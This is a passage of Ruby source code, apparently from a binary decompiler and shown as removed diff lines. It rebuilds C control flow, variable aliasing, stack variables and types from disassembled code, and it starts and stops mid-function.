if s.belse.kind_of? C::Block - end - - # if (a) goto x; if (b) goto x; => if (a || b) goto x; - while s.kind_of? C::If and s.bthen.kind_of? C::Goto and not s.belse and ary.first.kind_of? C::If and ary.first.bthen.kind_of? C::Goto and - not ary.first.belse and s.bthen.target == ary.first.bthen.target - s.test = C::CExpression[s.test, :'||', ary.shift.test] - end - - # if (a) goto x; b; x: => if (!a) { b; } - if s.kind_of? C::If and s.bthen.kind_of? C::Goto and l = ary.grep(C::Label).find { |l_| l_.name == s.bthen.target } - # if {goto l;} a; l: => if (!) {a;} - s.test = C::CExpression.negate s.test - s.bthen = C::Block.new(scope) - s.bthen.statements = decompile_cseq_if(ary[0..ary.index(l)], s.bthen) - s.bthen.statements.pop # remove l: from bthen, it is in ary (was needed in bthen for inner ifs) - ary[0...ary.index(l)] = [] - end - - if s.kind_of? C::If and (s.bthen.kind_of? C::Block or s.bthen.kind_of? C::Goto) - s.bthen = C::Block.new(scope, [s.bthen]) if s.bthen.kind_of? C::Goto - - bts = s.bthen.statements - - # if (a) if (b) { c; } => if (a && b) { c; } - if bts.length == 1 and bts.first.kind_of? C::If and not bts.first.belse - s.test = C::CExpression[s.test, :'&&', bts.first.test] - bts = bts.first.bthen - bts = s.bthen.statements = bts.kind_of?(C::Block) ? bts.statements : [bts] - end - - # if (a) { if (b) goto c; d; } c: => if (a && !b) { d; } - if bts.first.kind_of? C::If and l = bts.first.bthen and (l = l.kind_of?(C::Block) ? l.statements.first : l) and l.kind_of? C::Goto and ary[0].kind_of? C::Label and l.target == ary[0].name - s.test = C::CExpression[s.test, :'&&', C::CExpression.negate(bts.first.test)] - if e = bts.shift.belse - bts.unshift e - end - end - - # if () { goto a; } a: - if bts.last.kind_of? C::Goto and ary[0].kind_of? C::Label and bts.last.target == ary[0].name - bts.pop - end - - # if { a; goto outer; } b; return; => if (!) { b; return; } a; goto outer; - if bts.last.kind_of? C::Goto and not inner_labels.include? bts.last.target and g = ary.find { |ss| ss.kind_of? C::Goto or ss.kind_of? C::Return } and g.kind_of? C::Return - s.test = C::CExpression.negate s.test - ary[0..ary.index(g)], bts[0..-1] = bts, ary[0..ary.index(g)] - end - - # if { a; goto l; } b; l: => if {a;} else {b;} - if bts.last.kind_of? C::Goto and l = ary.grep(C::Label).find { |l_| l_.name == bts.last.target } - s.belse = C::Block.new(scope) - s.belse.statements = decompile_cseq_if(ary[0...ary.index(l)], s.belse) - ary[0...ary.index(l)] = [] - bts.pop - end - - # if { a; l: b; goto any;} c; goto l; => if { a; } else { c; } b; goto any; - if not s.belse and (bts.last.kind_of? C::Goto or bts.last.kind_of? C::Return) and g = ary.grep(C::Goto).first and l = bts.grep(C::Label).find { |l_| l_.name == g.target } - s.belse = C::Block.new(scope) - s.belse.statements = decompile_cseq_if(ary[0...ary.index(g)], s.belse) - ary[0..ary.index(g)], bts[bts.index(l)..-1] = bts[bts.index(l)..-1], [] - end - - # if { a; b; c; } else { d; b; c; } => if {a;} else {d;} b; c; - if s.belse - bes = s.belse.statements - while not bts.empty? - if bts.last.kind_of? C::Label; ary.unshift bts.pop - elsif bes.last.kind_of? C::Label; ary.unshift bes.pop - elsif bts.last.to_s == bes.last.to_s; ary.unshift bes.pop ; bts.pop - else break - end - end - - # if () { a; } else { b; } => if () { a; } else b; - # if () { a; } else {} => if () { a; } - case bes.length - when 0; s.belse = nil - #when 1; s.belse = bes.first - end - end - - # if () {} else { a; } => if (!) { a; } - # if () { a; } => if () a; - case bts.length - when 0; s.test, s.bthen, s.belse = C::CExpression.negate(s.test), s.belse, nil if s.belse - #when 1; s.bthen = bts.first # later (allows simpler handling in _while) - end - end - - # l1: l2: if () goto l1; goto l2; => if(!) goto l2; goto l1; - if s.kind_of? C::If - ls = s.bthen - ls = ls.statements.last if ls.kind_of? C::Block - if ls.kind_of? C::Goto - if li = inner_labels.index(ls.target) - table = inner_labels - else - table = ary.map { |st| st.name if st.kind_of? C::Label }.compact.reverse - li = table.index(ls.target) || table.length - end - g = ary.find { |ss| - break if ss.kind_of? C::Return - next if not ss.kind_of? C::Goto - table.index(ss.target).to_i > li - } - if g - s.test = C::CExpression.negate s.test - if not s.bthen.kind_of? C::Block - ls = C::Block.new(scope) - ls.statements << s.bthen - s.bthen = ls - end - ary[0..ary.index(g)], s.bthen.statements = s.bthen.statements, decompile_cseq_if(ary[0..ary.index(g)], scope) - end - end - end - - ret << s - end - ret - end - - def decompile_cseq_while(ary, scope) - return if forbid_decompile_ifwhile - - # find the next instruction that is not a label - ni = lambda { |l| ary[ary.index(l)..-1].find { |s| not s.kind_of? C::Label } } - - # TODO XXX get rid of #index - finished = false ; while not finished ; finished = true # 1.9 does not support 'retry' - ary.each { |s| - case s - when C::Label - if ss = ni[s] and ss.kind_of? C::If and not ss.belse and ss.bthen.kind_of? C::Block - if ss.bthen.statements.last.kind_of? C::Goto and ss.bthen.statements.last.target == s.name - ss.bthen.statements.pop - if l = ary[ary.index(ss)+1] and l.kind_of? C::Label - ss.bthen.statements.grep(C::If).each { |i| - i.bthen = C::Break.new if i.bthen.kind_of? C::Goto and i.bthen.target == l.name - } - end - ary[ary.index(ss)] = C::While.new(ss.test, ss.bthen) - elsif ss.bthen.statements.last.kind_of? C::Return and g = ary[ary.index(s)+1..-1].reverse.find { |_s| _s.kind_of? C::Goto and _s.target == s.name } - wb = C::Block.new(scope) - wb.statements = decompile_cseq_while(ary[ary.index(ss)+1...ary.index(g)], wb) - w = C::While.new(C::CExpression.negate(ss.test), wb) - ary[ary.index(ss)..ary.index(g)] = [w, *ss.bthen.statements] - finished = false ; break #retry - end - end - if g = ary[ary.index(s)..-1].reverse.find { |_s| _s.kind_of? C::Goto and _s.target == s.name } - wb = C::Block.new(scope) - wb.statements = decompile_cseq_while(ary[ary.index(s)...ary.index(g)], wb) - w = C::While.new(C::CExpression[1], wb) - ary[ary.index(s)..ary.index(g)] = [w] - finished = false ; break #retry - end - if g = ary[ary.index(s)..-1].reverse.find { |_s| _s.kind_of? C::If and not _s.belse and gt = _s.bthen and - (gt = gt.kind_of?(C::Block) && gt.statements.length == 1 ? gt.statements.first : gt) and gt.kind_of? C::Goto and gt.target == s.name } - wb = C::Block.new(scope) - wb.statements = decompile_cseq_while(ary[ary.index(s)...ary.index(g)], wb) - w = C::DoWhile.new(g.test, wb) - ary[ary.index(s)..ary.index(g)] = [w] - finished = false ; break #retry - end - when C::If - decompile_cseq_while(s.bthen.statements, s.bthen) if s.bthen.kind_of? C::Block - decompile_cseq_while(s.belse.statements, s.belse) if s.belse.kind_of? C::Block - when C::While, C::DoWhile - decompile_cseq_while(s.body.statements, s.body) if s.body.kind_of? C::Block - end - } - end - ary - end - - # TODO - def decompile_cseq_switch(scope) - uncast = lambda { |e| e = e.rexpr while e.kind_of? C::CExpression and not e.op ; e } - walk(scope) { |s| - # XXX pfff... - next if not s.kind_of? C::If - # if (v < 12) return ((void(*)())(tableaddr+4*v))(); - t = s.bthen - t = t.statements.first if t.kind_of? C::Block and t.statements.length == 1 - next if not t.kind_of? C::Return or not t.respond_to? :from_instr - next if t.from_instr.comment.to_a.include? 'switch' - next if not t.value.kind_of? C::CExpression or t.value.op != :funcall or t.value.rexpr != [] or not t.value.lexpr.kind_of? C::CExpression or t.value.lexpr.op - p = uncast[t.value.lexpr.rexpr] - next if not p.kind_of? C::CExpression or p.op != :* or p.lexpr - p = uncast[p.rexpr] - next if not p.kind_of? C::CExpression or p.op != :+ - r, l = uncast[p.rexpr], uncast[p.lexpr] - r, l = l, r if r.kind_of? C::CExpression - next if not r.kind_of? ::Integer or not l.kind_of? C::CExpression or l.op != :* or not l.lexpr - lr, ll = uncast[l.rexpr], uncast[l.lexpr] - lr, ll = ll, lr if not ll.kind_of? ::Integer - next if ll != sizeof(nil, C::Pointer.new(C::BaseType.new(:void))) - base, index = r, lr - if s.test.kind_of? C::CExpression and (s.test.op == :<= or s.test.op == :<) and s.test.lexpr == index and - s.test.rexpr.kind_of? C::CExpression and not s.test.rexpr.op and s.test.rexpr.rexpr.kind_of? ::Integer - t.from_instr.add_comment 'switch' - sup = s.test.rexpr.rexpr - rng = ((s.test.op == :<) ? (0...sup) : (0..sup)) - from = t.from_instr.address - rng.map { |i| @dasm.backtrace(Indirection[base+ll*i, ll, from], from, :type => :x, :origin => from, :maxdepth => 0) } - @dasm.disassemble - throw :restart, :restart - end - puts "unhandled switch() at #{t.from_instr}" if $VERBOSE - } - end - - # remove unused labels - def remove_labels(scope) - return if forbid_optimize_labels - - used = [] - walk(scope) { |ss| - used |= [ss.target] if ss.kind_of? C::Goto - } - walk(scope) { |s| - next if not s.kind_of? C::Block - s.statements.delete_if { |l| - l.kind_of? C::Label and not used.include? l.name - } - } - - # remove implicit continue; at end of loop - walk(scope) { |s| - next if not s.kind_of? C::While - if s.body.kind_of? C::Block and s.body.statements.last.kind_of? C::Continue - s.body.statements.pop - end - } - end - - # checks if expr is a var (var or *&var) - def isvar(ce, var) - if var.stackoff and ce.kind_of? C::CExpression - return unless ce.op == :* and not ce.lexpr - ce = ce.rexpr - ce = ce.rexpr while ce.kind_of? C::CExpression and not ce.op - return unless ce.kind_of? C::CExpression and ce.op == :& and not ce.lexpr - ce = ce.rexpr - end - ce == var - end - - # checks if expr reads var - def ce_read(ce_, var) - isvar(ce_, var) or - walk_ce(ce_) { |ce| - case ce.op - when :funcall; break true if isvar(ce.lexpr, var) or ce.rexpr.find { |a| isvar(a, var) } - when :'='; break true if isvar(ce.rexpr, var) - break ce_read(ce.rexpr, var) if isvar(ce.lexpr, var) # *&var = 2 - else break true if isvar(ce.lexpr, var) or isvar(ce.rexpr, var) - end - } - end - - # checks if expr writes var - def ce_write(ce_, var) - walk_ce(ce_) { |ce| - break true if AssignOp.include?(ce.op) and (isvar(ce.lexpr, var) or - (((ce.op == :'++' or ce.op == :'--') and isvar(ce.rexpr, var)))) - } - end - - # patches a set of exprs, replacing oldce by newce - def ce_patch(exprs, oldce, newce) - walk_ce(exprs) { |ce| - case ce.op - when :funcall - ce.lexpr = newce if ce.lexpr == oldce - ce.rexpr.each_with_index { |a, i| ce.rexpr[i] = newce if a == oldce } - else - ce.lexpr = newce if ce.lexpr == oldce - ce.rexpr = newce if ce.rexpr == oldce - end - } - end - - - # duplicate vars per domain value - # eg eax = 1; foo(eax); eax = 2; bar(eax); => eax = 1; foo(eax) eax_1 = 2; bar(eax_1); - # eax = 1; if (bla) eax = 2; foo(eax); => no change - def unalias_vars(scope, func) - g = c_to_graph(scope) - - # unalias func args first, they may include __attr__((out)) needed by the others - funcalls = [] - walk_ce(scope) { |ce| funcalls << ce if ce.op == :funcall } - vars = scope.symbol.values.sort_by { |v| walk_ce(funcalls) { |ce| break true if ce.rexpr == v } ? 0 : 1 } - - # find the domains of var aliases - vars.each { |var| unalias_var(var, scope, g) } - end - - # duplicates a var per domain value - def unalias_var(var, scope, g = c_to_graph(scope)) - # [label, index] of references to var (reading it, writing it, ro/wo it (eg eax = *eax => eax_0 = *eax_1)) - read = {} - write = {} - ro = {} - wo = {} - - # list of [l, i] for which domain is not known - unchecked = [] - - # mark all exprs of the graph - # TODO handle var_14 __attribute__((out)) = &curvar <=> curvar write - r = var.has_attribute_var('register') - g.exprs.each { |label, exprs| - exprs.each_with_index { |ce, i| - if ce_read(ce, var) - if (ce.op == :'=' and isvar(ce.lexpr, var) and not ce_write(ce.rexpr, var)) or - (ce.op == :funcall and r and not ce_write(ce.lexpr, var) and not ce_write(ce.rexpr, var) and @dasm.cpu.abi_funcall[:changed].include?(r.to_sym)) - (ro[label] ||= []) << i - (wo[label] ||= []) << i - unchecked << [label, i, :up] << [label, i, :down] - else - (read[label] ||= []) << i - unchecked << [label, i] - end - elsif ce_write(ce, var) - (write[label] ||= []) << i - unchecked << [label, i] - end - } - } - - # stuff when filling the domain (flood algorithm) - dom = dom_ro = dom_wo = todo_up = todo_down = func_top = nil - - # flood by walking the graph up from [l, i] (excluded) - # marks stuff do walk down - walk_up = lambda { |l, i| - todo_w = [[l, i-1]] - done_w = [] - while o = todo_w.pop - next if done_w.include? o - done_w << o - l, i = o - loop do - if read[l].to_a.include? i - # XXX not optimal (should mark only the uppest read) - todo_down |= [[l, i]] if not dom.include? [l, i] - dom |= [[l, i]] - elsif write[l].to_a.include? i - todo_down |= [[l, i]] if not dom.include? [l, i] - dom |= [[l, i]] - break - elsif wo[l].to_a.include? i - todo_down |= [[l, i]] if not dom_wo.include? [l, i, :down] - dom_wo |= [[l, i, :down]] - break - end - i -= 1 - if i < 0 - g.from_optim[l].to_a.each { |ll| - todo_w << [ll, g.exprs[ll].to_a.length-1] - } - func_top = true if g.from_optim[l].to_a.empty? - break - end - end - end - } - - # flood by walking the graph down from [l, i] (excluded) - # malks stuff to walk up - walk_down = lambda { |l, i| - todo_w = [[l, i+1]] - done_w = [] - while o = todo_w.pop - next if done_w.include? o - done_w << o - l, i = o - loop do - if read[l].to_a.include? i - todo_up |= [[l, i]] if not dom.include? [l, i] - dom |= [[l, i]] - elsif write[l].to_a.include? i - break - elsif ro[l].to_a.include? i - todo_up |= [[l, i]] if not dom_ro.include? [l, i, :up] - dom_ro |= [[l, i, :up]] - break - end - i += 1 - if i >= g.exprs[l].to_a.length - g.to_optim[l].to_a.each { |ll| - todo_w << [ll, 0] - } - break - end - end - end - } - - # check it out - while o = unchecked.shift - dom = [] - dom_ro = [] - dom_wo = [] - func_top = false - - todo_up = [] - todo_down = [] - - # init - if read[o[0]].to_a.include? o[1] - todo_up << o - todo_down << o - dom << o - elsif write[o[0]].to_a.include? o[1] - todo_down << o - dom << o - elsif o[2] == :up - todo_up << o - dom_ro << o - elsif o[2] == :down - todo_down << o - dom_wo << o - else raise - end - - # loop - while todo_up.first or todo_down.first - todo_up.each { |oo| walk_up[oo[0], oo[1]] } - todo_up.clear - - todo_down.each { |oo| walk_down[oo[0], oo[1]] } - todo_down.clear - end - - unchecked -= dom + dom_wo + dom_ro - - next if func_top - - # patch - n_i = 0 - n_i += 1 while scope.symbol_ancestors[newvarname = "#{var.name}_a#{n_i}"] - - nv = var.dup - nv.storage = :register if nv.has_attribute_var('register') - nv.attributes = nv.attributes.dup if nv.attributes - nv.name = newvarname - scope.statements << C::Declaration.new(nv) - scope.symbol[nv.name] = nv - - dom.each { |oo| ce_patch(g.exprs[oo[0]][oo[1]], var, nv) } - dom_ro.each { |oo| - ce = g.exprs[oo[0]][oo[1]] - if ce.op == :funcall or ce.rexpr.kind_of? C::CExpression - ce_patch(ce.rexpr, var, nv) - else - ce.rexpr = nv - end - } - dom_wo.each { |oo| - ce = g.exprs[oo[0]][oo[1]] - if ce.op == :funcall - elsif ce.lexpr.kind_of? C::CExpression - ce_patch(ce.lexpr, var, nv) - else - ce.lexpr = nv - end - } - - # check if the var is only used as an __out__ parameter - if false and dom_ro.empty? and dom_wo.empty? and dom.length == 2 and # TODO - arg.has_attribute('out') and not arg.has_attribute('in') - # *(int32*)&var_10 = &var_4; - # set_pointed_value(*(int32*)&var_10); => writeonly var_4, may start a new domain - nv.add_attribute('out') - end - end - end - - # revert the unaliasing namechange of vars where no alias subsists - def simplify_varname_noalias(scope) - names = scope.symbol.keys - names.delete_if { |k| - next if not b = k[/^(.*)_a\d+$/, 1] - next if scope.symbol[k].stackoff.to_i > 0 - if not names.find { |n| n != k and (n == b or n[/^(.*)_a\d+$/, 1] == b) } - scope.symbol[b] = scope.symbol.delete(k) - scope.symbol[b].name = b - end - } - end - - # patch scope to transform :frameoff-x into &var_x - def namestackvars(scope) - off2var = {} - newvar = lambda { |o, n| - if not v = off2var[o] - v = off2var[o] = C::Variable.new - v.type = C::BaseType.new(:void) - v.name = n - v.stackoff = o - scope.symbol[v.name] = v - scope.statements << C::Declaration.new(v) - end - v - } - - scope.decompdata[:stackoff_name].each { |o, n| newvar[o, n] } - scope.decompdata[:stackoff_type].each { |o, t| newvar[o, stackoff_to_varname(o)] } - - walk_ce(scope) { |e| - next if e.op != :+ and e.op != :- - next if not e.lexpr.kind_of? C::Variable or e.lexpr.name != 'frameptr' - next if not e.rexpr.kind_of? C::CExpression or e.rexpr.op or not e.rexpr.rexpr.kind_of? ::Integer - off = e.rexpr.rexpr - off = -off if e.op == :- - v = newvar[off, stackoff_to_varname(off)] - e.replace C::CExpression[:&, v] - } - end - - # assign type to vars (regs, stack & global) - # types are found by subfunction argument types & indirections, and propagated through assignments etc - # TODO when updating the type of a var, update the type of all cexprs where it appears - def decompile_c_types(scope) - return if forbid_decompile_types - - # TODO *(int8*)(ptr+8); *(int32*)(ptr+12) => automatic struct - - # name => type - types = {} - - pscopevar = lambda { |e| - e = e.rexpr while e.kind_of? C::CExpression and not e.op and e.rexpr.kind_of? C::CExpression - if e.kind_of? C::CExpression and e.op == :& and not e.lexpr and e.rexpr.kind_of? C::Variable - e.rexpr.name if scope.symbol[e.rexpr.name] - end - } - scopevar = lambda { |e| - e = e.rexpr if e.kind_of? C::CExpression and not e.op - if e.kind_of? C::Variable and scope.symbol[e.name] - e.name - elsif e.kind_of? C::CExpression and e.op == :* and not e.lexpr - pscopevar[e.rexpr] - end - } - globalvar = lambda { |e| - e = e.rexpr if e.kind_of? C::CExpression and not e.op - if e.kind_of? ::Integer and @dasm.get_section_at(e) - e - elsif e.kind_of? C::Variable and not scope.symbol[e.name] and @c_parser.toplevel.symbol[e.name] and @dasm.get_section_at(e.name) - e.name - end - } - - # check if a newly found type for o is better than current type - # order: foo* > void* > foo - better_type = lambda { |t0, t1| - t1 == C::BaseType.new(:void) or (t0.pointer? and t1.kind_of? C::BaseType) or t0.untypedef.kind_of? C::Union or - (t0.kind_of? C::BaseType and t1.kind_of? C::BaseType and (@c_parser.typesize[t0.name] > @c_parser.typesize[t1.name] or (t0.name == t1.name and t0.qualifier))) or - (t0.pointer? and t1.pointer? and better_type[t0.pointed, t1.pointed]) - } - - update_global_type = lambda { |e, t| - if ne = new_global_var(e, t, scope) - ne.type = t if better_type[t, ne.type] # TODO patch existing scopes using ne - # TODO rename (dword_xx -> byte_xx etc) - e = scope.symbol_ancestors[e] || e if e.kind_of? String # exe reloc - walk_ce(scope) { |ce| - ce.lexpr = ne if ce.lexpr == e - ce.rexpr = ne if ce.rexpr == e - if ce.op == :* and not ce.lexpr and ce.rexpr == ne and ne.type.pointer? and ne.type.pointed.untypedef.kind_of? C::Union - # *struct -> struct->bla - ce.rexpr = structoffset(ne.type.pointed.untypedef, ce.rexpr, 0, sizeof(ce.type)) - elsif ce.lexpr == ne or ce.rexpr == ne - # set ce type according to l/r - # TODO set ce.parent type etc - ce.type = C::CExpression[ce.lexpr, ce.op, ce.rexpr].type - end - } - end - } - - propagate_type = nil # fwd declaration - propagating = [] # recursion guard (x = &x) - # check if need to change the type of a var - # propagate_type if type is updated - update_type = lambda { |n, t| - next if propagating.include? n - o = scope.symbol[n].stackoff - next if not o and t.untypedef.kind_of? C::Union - next if o and scope.decompdata[:stackoff_type][o] and t != scope.decompdata[:stackoff_type][o] - next if t0 = types[n] and not better_type[t, t0] - next if o and (t.integral? or t.pointer?) and o % sizeof(t) != 0 # keep vars aligned - types[n] = t - next if t == t0 - propagating << n - propagate_type[n, t] - propagating.delete n - next if not o - t = t.untypedef - if t.kind_of? C::Struct - t.members.to_a.each { |m| - mo = t.offsetof(@c_parser, m.name) - next if mo == 0 - scope.symbol.each { |vn, vv| - update_type[vn, m.type] if vv.stackoff == o+mo - } - } - end - } - - # try to update the type of a var from knowing the type of an expr (through dereferences etc) - known_type = lambda { |e, t| - loop do - e = e.rexpr while e.kind_of? C::CExpression and not e.op and e.type == t - if o = scopevar[e] - update_type[o, t] - elsif o = globalvar[e] - update_global_type[o, t] - elsif not e.kind_of? C::CExpression - elsif o = pscopevar[e] and t.pointer? - update_type[o, t.pointed] - elsif e.op == :* and not e.lexpr - e = e.rexpr - t = C::Pointer.new(t) - next - elsif t.pointer? and e.op == :+ and e.lexpr.kind_of? C::CExpression and e.lexpr.type.integral? and e.rexpr.kind_of? C::Variable - e.lexpr, e.rexpr = e.rexpr, e.lexpr - next - elsif e.op == :+ and e.lexpr and e.rexpr.kind_of? C::CExpression - if not e.rexpr.op and e.rexpr.rexpr.kind_of? ::Integer - if t.pointer? and e.rexpr.rexpr < 0x1000 and (e.rexpr.rexpr % sizeof(t.pointed)) == 0 # XXX relocatable + base=0.. - e = e.lexpr # (int)*(x+2) === (int) *x - next - elsif globalvar[e.rexpr.rexpr] - known_type[e.lexpr, C::BaseType.new(:int)] - e = e.rexpr - next - end - elsif t.pointer? and (e.lexpr.kind_of? C::CExpression and e.lexpr.lexpr and [:<<, :>>, :*, :&].include? e.lexpr.op) or - (o = scopevar[e.lexpr] and types[o] and types[o].integral? and - !(o = scopevar[e.rexpr] and types[o] and types[o].integral?)) - e.lexpr, e.rexpr = e.rexpr, e.lexpr # swap - e = e.lexpr - next - elsif t.pointer? and ((e.rexpr.kind_of? C::CExpression and e.rexpr.lexpr and [:<<, :>>, :*, :&].include? e.rexpr.op) or - (o = scopevar[e.rexpr] and types[o] and types[o].integral? and - !(o = scopevar[e.lexpr] and types[o] and types[o].integral?))) - e = e.lexpr - next - end - end - break - end - } - - # we found a type for a var, propagate it through affectations - propagate_type = lambda { |var, type| - walk_ce(scope) { |ce| - next if ce.op != :'=' - - if ce.lexpr.kind_of? C::Variable and ce.lexpr.name == var - known_type[ce.rexpr, type] - next - end - if ce.rexpr.kind_of? C::Variable and ce.rexpr.name == var - known_type[ce.lexpr, type] - next - end - - # int **x; y = **x => int y - t = type - l = ce.lexpr - while l.kind_of? C::CExpression and l.op == :* and not l.lexpr - if var == pscopevar[l.rexpr] - known_type[ce.rexpr, t] - break - elsif t.pointer? - l = l.rexpr - t = t.pointed - else break - end - end - - # int **x; **x = y => int y - t = type - r = ce.rexpr - while r.kind_of? C::CExpression and r.op == :* and not r.lexpr - if var == pscopevar[r.rexpr] - known_type[ce.lexpr, t] - break - elsif t.pointer? - r = r.rexpr - t = t.pointed - else break - end - end - - # TODO int *x; *x = *y; ? - } - } - - # put all those macros in use - # use user-defined types first - scope.symbol.each_value { |v| - next if not v.kind_of? C::Variable or not v.stackoff or not t = scope.decompdata[:stackoff_type][v.stackoff] - known_type[v, t] - } - - # try to infer types from C semantics - later = [] - walk_ce(scope) { |ce| - if ce.op == :'=' and ce.rexpr.kind_of? C::CExpression and (ce.rexpr.op == :funcall or (ce.rexpr.op == nil and ce.rexpr.rexpr.kind_of? ::Integer and - ce.rexpr.rexpr.abs < 0x10000 and (not ce.lexpr.kind_of? C::CExpression or ce.lexpr.op != :'*' or ce.lexpr.lexpr))) - # var = int - known_type[ce.lexpr, ce.rexpr.type] - elsif ce.op == :funcall - f = ce.lexpr.type - f = f.pointed if f.pointer? - next if not f.kind_of? C::Function - # cast func args to arg prototypes - f.args.to_a.zip(ce.rexpr).each_with_index { |(proto, arg), i| ce.rexpr[i] = C::CExpression[arg, proto.type] ; known_type[arg, proto.type] } - elsif ce.op == :* and not ce.lexpr - if e = ce.rexpr and e.kind_of? C::CExpression and not e.op and e = e.rexpr and e.kind_of? C::CExpression and - e.op == :& and not e.lexpr and e.rexpr.kind_of? C::Variable and e.rexpr.stackoff - # skip *(__int32*)&var_12 for now, avoid saying var12 is an int if it may be a ptr or anything - later << [ce.rexpr, C::Pointer.new(ce.type)] - next - end - known_type[ce.rexpr, C::Pointer.new(ce.type)] - elsif not ce.op and ce.type.pointer? and ce.type.pointed.kind_of? C::Function - # cast to fptr: must be a fptr - known_type[ce.rexpr, ce.type] - end - } - - later.each { |ce, t| known_type[ce, t] } - - # offsets have types now - types.each { |v, t| - # keep var type qualifiers - q = scope.symbol[v].type.qualifier - scope.symbol[v].type = t - t.qualifier = q if q - } - - - # remove offsets to struct members - # XXX this defeats antialiasing - # off => [structoff, membername, membertype] - memb = {} - types.dup.each { |n, t| - v = scope.symbol[n] - next if not o = v.stackoff - t = t.untypedef - if t.kind_of? C::Struct - t.members.to_a.each { |tm| - moff = t.offsetof(@c_parser, tm.name) - next if moff == 0 - types.delete_if { |vv, tt| scope.symbol[vv].stackoff == o+moff } - memb[o+moff] = [v, tm.name, tm.type] - } - end - } - - # patch local variables into the CExprs, incl unknown offsets - varat = lambda { |n| - v = scope.symbol[n] - if s = memb[v.stackoff] - v = C::CExpression[s[0], :'.', s[1], s[2]] - else - v.type = types[n] || C::BaseType.new(:int) - end - v - } - - maycast = lambda { |v, e| - if sizeof(v) != sizeof(e) - v = C::CExpression[:*, [[:&, v], C::Pointer.new(e.type)]] - end - v - } - maycast_p = lambda { |v, e| - if not e.type.pointer? or sizeof(v) != sizeof(nil, e.type.pointed) - C::CExpression[[:&, v], e.type] - else - C::CExpression[:&, v] - end - } - - walk_ce(scope, true) { |ce| - case - when ce.op == :funcall - ce.rexpr.map! { |re| - if o = scopevar[re]; C::CExpression[maycast[varat[o], re]] - elsif o = pscopevar[re]; C::CExpression[maycast_p[varat[o], re]] - else re - end - } - when o = scopevar[ce.lexpr]; ce.lexpr = maycast[varat[o], ce.lexpr] - when o = scopevar[ce.rexpr]; ce.rexpr = maycast[varat[o], ce.rexpr] - ce.rexpr = C::CExpression[ce.rexpr] if not ce.op and ce.rexpr.kind_of? C::Variable - when o = pscopevar[ce.lexpr]; ce.lexpr = maycast_p[varat[o], ce.lexpr] - when o = pscopevar[ce.rexpr]; ce.rexpr = maycast_p[varat[o], ce.rexpr] - when o = scopevar[ce]; ce.replace C::CExpression[maycast[varat[o], ce]] - when o = pscopevar[ce]; ce.replace C::CExpression[maycast_p[varat[o], ce]] - end - } - - fix_type_overlap(scope) - fix_pointer_arithmetic(scope) - - # if int32 var_4 is always var_4 & 255, change type to int8 - varuse = Hash.new(0) - varandff = Hash.new(0) - varandffff = Hash.new(0) - walk_ce(scope) { |ce| - if ce.op == :& and ce.lexpr.kind_of? C::Variable and ce.lexpr.type.integral? and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr.kind_of? ::Integer - case ce.rexpr.rexpr - when 0xff; varandff[ce.lexpr.name] += 1 - when 0xffff; varandffff[ce.lexpr.name] += 1 - end - end - varuse[ce.lexpr.name] += 1 if ce.lexpr.kind_of? C::Variable - varuse[ce.rexpr.name] += 1 if ce.rexpr.kind_of? C::Variable - } - varandff.each { |k, v| - scope.symbol[k].type = C::BaseType.new(:__int8, :unsigned) if varuse[k] == v - } - varandffff.each { |k, v| - scope.symbol[k].type = C::BaseType.new(:__int16, :unsigned) if varuse[k] == v - } - - # propagate types to cexprs - walk_ce(scope, true) { |ce| - if ce.op - ce.type = C::CExpression[ce.lexpr, ce.op, ce.rexpr].type rescue next - if ce.op == :'=' and ce.rexpr.kind_of? C::Typed and ce.rexpr.type != ce.type and (not ce.rexpr.type.integral? or not ce.type.integral?) - known_type[ce.rexpr, ce.type] if ce.type.pointer? and ce.type.pointed.untypedef.kind_of? C::Function # localvar = &struct with fptr - ce.rexpr = C::CExpression[[ce.rexpr], ce.type] - end - elsif ce.type.pointer? and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :& and not ce.rexpr.lexpr and sizeof(ce.rexpr.rexpr.type) == sizeof(ce.type.pointed) - ce.type = ce.rexpr.type - end - } - end - - # struct foo { int i; int j; struct { int k; int l; } m; }; bla+12 => &bla->m.l - # st is a struct, ptr is an expr pointing to a struct, off is a numeric offset from ptr, msz is the size of the pointed member (nil ignored) - def structoffset(st, ptr, off, msz) - tabidx = off / sizeof(st) - off -= tabidx * sizeof(st) - ptr = C::CExpression[:&, [ptr, :'[]', [tabidx]]] if tabidx != 0 or ptr.type.untypedef.kind_of? C::Array - return ptr if off == 0 and (not msz or # avoid infinite recursion with eg chained list - (ptr.kind_of? C::CExpression and ((ptr.op == :& and not ptr.lexpr and s=ptr.rexpr) or (ptr.op == :'.' and s=ptr)) and - not s.type.untypedef.kind_of? C::Union)) - - m_ptr = lambda { |m| - if ptr.kind_of? C::CExpression and ptr.op == :& and not ptr.lexpr - C::CExpression[ptr.rexpr, :'.', m.name] - else - C::CExpression[ptr, :'->', m.name] - end - } - - # recursive proc to list all named members, including in anonymous substructs - submemb = lambda { |sm| sm.name ? sm : sm.type.kind_of?(C::Union) ? sm.type.members.to_a.map { |ssm| submemb[ssm] } : nil } - mbs = st.members.to_a.map { |m| submemb[m] }.flatten.compact - mo = mbs.inject({}) { |h, m| h.update m => st.offsetof(@c_parser, m.name) } - - if sm = mbs.find { |m| mo[m] == off and (not msz or sizeof(m) == msz) } || - mbs.find { |m| mo[m] <= off and mo[m]+sizeof(m) > off } - off -= mo[sm] - sst = sm.type.untypedef - #return ptr if mo[sm] == 0 and sst.pointer? and sst.type.untypedef == st # TODO fix infinite recursion on mutually recursive ptrs - ptr = C::CExpression[:&, m_ptr[sm]] - if sst.kind_of? C::Union - return structoffset(sst, ptr, off, msz) - end - end - - if off != 0 - C::CExpression[[[ptr], C::Pointer.new(C::BaseType.new(:__int8))], :+, [off]] - else - ptr - end - end - - # fix pointer arithmetic (eg int foo += 4 => int* foo += 1) - # use struct member access (eg *(structptr+8) => structptr->bla) - # must be run only once, right after type setting - def fix_pointer_arithmetic(scope) - walk_ce(scope, true) { |ce| - if ce.lexpr and ce.lexpr.type.pointer? and [:&, :>>, :<<].include? ce.op - ce.lexpr = C::CExpression[[ce.lexpr], C::BaseType.new(:int)] - end - - if ce.op == :+ and ce.lexpr and ((ce.lexpr.type.integral? and ce.rexpr.type.pointer?) or (ce.rexpr.type.pointer? and ce.rexpr.type.pointed.untypedef.kind_of? C::Union)) - ce.rexpr, ce.lexpr = ce.lexpr, ce.rexpr - end - - if ce.op == :* and not ce.lexpr and ce.rexpr.type.pointer? and ce.rexpr.type.pointed.untypedef.kind_of? C::Struct - s = 